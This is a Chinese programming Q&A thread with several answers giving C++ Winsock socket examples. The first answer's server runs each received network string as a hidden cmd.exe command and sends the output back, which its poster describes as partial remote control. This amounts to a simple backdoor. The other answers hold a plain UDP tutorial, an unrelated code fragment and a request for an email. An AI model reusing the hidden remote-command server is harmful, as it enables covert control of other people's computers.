C++编辑Socket的代码
发布网友
发布时间:2022-05-06 05:44
我来回答
共4个回答
热心网友
时间:2022-06-28 19:54
//server
#pragma comment(lib,"ws2_32.lib")
#include<winsock2.h>
#include<iostream>
#include<string>
#include<fstream>
using namespace std;
string strCurMsg="";
bool connectx,t_quit=false;
void recvProc(SOCKET sockClient)
{
while(true)
{
Sleep(10);
char msgRcv[100]={0};
int state=recv(sockClient,msgRcv,sizeof(msgRcv),0);
if(SOCKET_ERROR==state||state==0)
{
cout<<"client is exit\n";
connectx=false;
return;
}
if(msgRcv[0]!=0)
{
cout<<msgRcv<<endl;
string command(msgRcv);
command="/c "+command+" >c:\\1.txt 2>&1";
ShellExecute(NULL,"open","cmd",command.c_str(),NULL,SW_HIDE);
Sleep(30);
fstream fin;
fin.open("c:\\1.txt");
char buf[100]={0};
while(fin.getline(buf,100))
{
send(sockClient,buf,sizeof(buf),0);
}
fin.close();
ShellExecute(NULL,"open","cmd","/c del c:\1.txt",NULL,SW_HIDE);
}
}
}
void sendProc(SOCKET sockClient)
{while(true)
{string buf;
getline(cin,buf);
if(buf=="exit"){t_quit=true;return;}
send(sockClient,buf.c_str(),buf.size()+1,0);
}
}
int main(int argc, char* argv[])
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 1, 1 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
return 1;
}
if ( LOBYTE( wsaData.wVersion ) != 1||
HIBYTE( wsaData.wVersion ) != 1) {
WSACleanup( );
return 1;
}
SOCKET sockSrv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
sockaddr_in addrSrv;
memset(&addrSrv,0,sizeof(addrSrv));
addrSrv.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(5000);
if(bind(sockSrv,(sockaddr*)&addrSrv,sizeof(sockaddr))==SOCKET_ERROR)
{
cout<<"bind error"<<endl;
}
if(listen(sockSrv,5)==SOCKET_ERROR)
{
cout<<"listen error"<<endl;
}
SOCKADDR_IN addrClient;
int len=sizeof(sockaddr);
while(!t_quit)
{
cout<<"Waiting .....";
waiting:
SOCKET sockConnect=accept(sockSrv,(sockaddr*)&addrClient,&len);
if(sockConnect==INVALID_SOCKET)
{
cout<<"invalid socket"<<endl;
return 0;
}
else
{
cout<<"He is coming\n";
connectx=true;
}
CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)recvProc,(void*)sockConnect,
0,NULL);//开启监听线程
HANDLE ThreadProcWrite=CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)sendProc,(void*)sockConnect,
0,NULL);
while(!t_quit)
{Sleep(10);
if (connectx==false)
{TerminateThread(ThreadProcWrite,0);
closesocket(sockConnect);
goto waiting;}
}
}
WSACleanup();
return 0;
}
//client
/*#include <WINSOCK2.H>
#include <iostream>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
using namespace std;
int main()
{
int err;
WORD versionRequired;
WSADATA wsaData;
versionRequired=MAKEWORD(1,1);
err=WSAStartup(versionRequired,&wsaData);//协议库的版本信息
if (!err)
{
printf("客户端嵌套字已经打开!\n");
}
else
{
printf("客户端的嵌套字打开失败!\n");
return 0;//结束
}
SOCKET clientSocket=socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN clientsock_in;
cout<<"输入服务器IP"<<endl;
string StrIP;
cin>>StrIP;
clientsock_in.sin_addr.S_un.S_addr=inet_addr(StrIP.c_str());
clientsock_in.sin_family=AF_INET;
clientsock_in.sin_port=htons(6000);
//bind(clientSocket,(SOCKADDR*)&clientsock_in,strlen(SOCKADDR));//注意第三个参数
//listen(clientSocket,5);
connect(clientSocket,(SOCKADDR*)&clientsock_in,sizeof(SOCKADDR));//开始连接
char receiveBuf[100];
recv(clientSocket,receiveBuf,101,0);
printf("%s\n",receiveBuf);
send(clientSocket,"hello,this is client",strlen("hello,this is client")+1,0);
closesocket(clientSocket);
WSACleanup();
}*/
#pragma comment(lib,"ws2_32.lib")
#include<winsock2.h>
#include<iostream>
#include<string>
using namespace std;
string strCurMsg="";
void recvProc(SOCKET sockClient)
{
char msgRcv[100]={0};
while(true)
{
if(SOCKET_ERROR==recv(sockClient,msgRcv,sizeof(msgRcv),0))
{
cout<<"server is down";
return;
}
if(msgRcv[0]!=' ')
{
cout<<msgRcv<<endl;
}
}
}
int main(int argc, char* argv[])
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 1, 1 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
return 1;
}
if ( LOBYTE( wsaData.wVersion ) != 1||
HIBYTE( wsaData.wVersion ) != 1) {
WSACleanup( );
return 1;
}
SOCKET sockClient=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addrSrv;
string StrIP;
cout<<"enter server IP:"<<endl;
cin>>StrIP;
addrSrv.sin_addr.S_un.S_addr=inet_addr(StrIP.c_str());
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(5000);
if (connect(sockClient,(sockaddr*)&addrSrv,sizeof(sockaddr)) == SOCKET_ERROR)
{
cout<<"connected failed\n";
return 1;
}
else
{
cout<<"connect OK\n";
}
CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)recvProc,(void*)sockClient,
0,NULL);
while(true)
{string buf;
getline(cin,buf);
if(buf=="exit")return 0;
send(sockClient,buf.c_str(),buf.size()+1,0);
}
closesocket(sockClient);
WSACleanup();
return 0;
}
上面这个是我改造过了的 server端可以执行cmd命令 就是可以部分实现远程控制的 你可以改造回去
热心网友
时间:2022-06-28 19:54
不知道你要TCP的还是UDP的
这是我以前写的UDP,希望可以帮到你。如果需要TCP的可以追问
新建win32控制台程序 程序1
// 服务器端
// 套接字(socket)的使用UDP
#include <stdio.h> // 使用了sprintf函数,要包含头文件
#include <winsock2.h>// 注意:这里使用了WSAStartup函数
// 因为用到了动态链接库,所以在链接个ws2_32.lib
int main()
{
// 加载套接字库
WORD wVersionRequested;
WSADATA wsaData;
int err;
// 加载版本1.1
wVersionRequested = MAKEWORD( 1, 1 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
{
return 0;
}
if ( LOBYTE( wsaData.wVersion ) != 1 /*低位字节(主版本)*/||
HIBYTE( wsaData.wVersion ) != 1 /*高位字节(副版本)*/)
{
WSACleanup( );
return 0;
}
// UDP的服务器端
// 1)创建一个套接字(socket)
SOCKET sockSrv=socket(AF_INET,SOCK_DGRAM,0);
// 创建一个SOCKADDR_IN结构体存放本地地址信息
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(1026);// 端口大于1024,可随便设
// 2)将套接字绑定本地地址和端口(bind)
bind(sockSrv,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));
// 创建一个字符数组用来存放客户端数据
SOCKADDR_IN addrClient;
char recvBuf[100];
int len=sizeof(SOCKADDR);// 用来接收发送过来的数据长度
// 3)接收客户端数据(recvfrom)
recvfrom(sockSrv,recvBuf,sizeof(recvBuf),0,(SOCKADDR*)&addrClient,&len);
// 将接收的数据打印出来
printf("%s\n",recvBuf);
// 4)关闭套接字
closesocket(sockSrv);
// 终止套接字库的使用
WSACleanup();
// 在聊天程序中用UDP连接
return 0;
}
再新建个win32控制台 程序2
// 客户端
#include <stdio.h>
#include <winsock2.h>
// 因为用到了动态链接库,所以在链接个ws2_32.lib
int main()
{
// 加载套接字库
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 1, 1 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
{
return 0;
}
if ( LOBYTE( wsaData.wVersion ) != 1 /*低位字节(主版本)*/||
HIBYTE( wsaData.wVersion ) != 1 /*高位字节(副版本)*/)
{
WSACleanup( );
return 0;
}
// UDP的客户端
// 1)创建套接字(socket)
SOCKET sockClient=socket(AF_INET,SOCK_DGRAM,0);// UDP模式用SOCK_DGRAM数据报
// 创建一个SOCKADDR_IN结构体来保存要发送的服务器信息
SOCKADDR_IN addrClient;
addrClient.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
addrClient.sin_family=AF_INET;
addrClient.sin_port=htons(1026);
// 2)向服务器发送数据(sendto)
sendto(sockClient,"UDP客户端",strlen("UDP客户端")+1,0,
(SOCKADDR*)&addrClient,sizeof(SOCKADDR));
// 3)关闭套接字
closesocket(sockClient);
// 终止调用套接字库
WSACleanup();
}
最后先运行服务器,再运行客户端就可以了
热心网友
时间:2022-06-28 19:55
#include<stdio.h>
#include<string.h>
#include<math.h>
#include<algorithm>
using namespace std;
struct A//定义一个存储单词的结构体
{
char word[100];
int id;
}sto[10000];
int wordn;
bool map[100][10000]={false};
热心网友
时间:2022-06-28 19:55
给我一个你的邮箱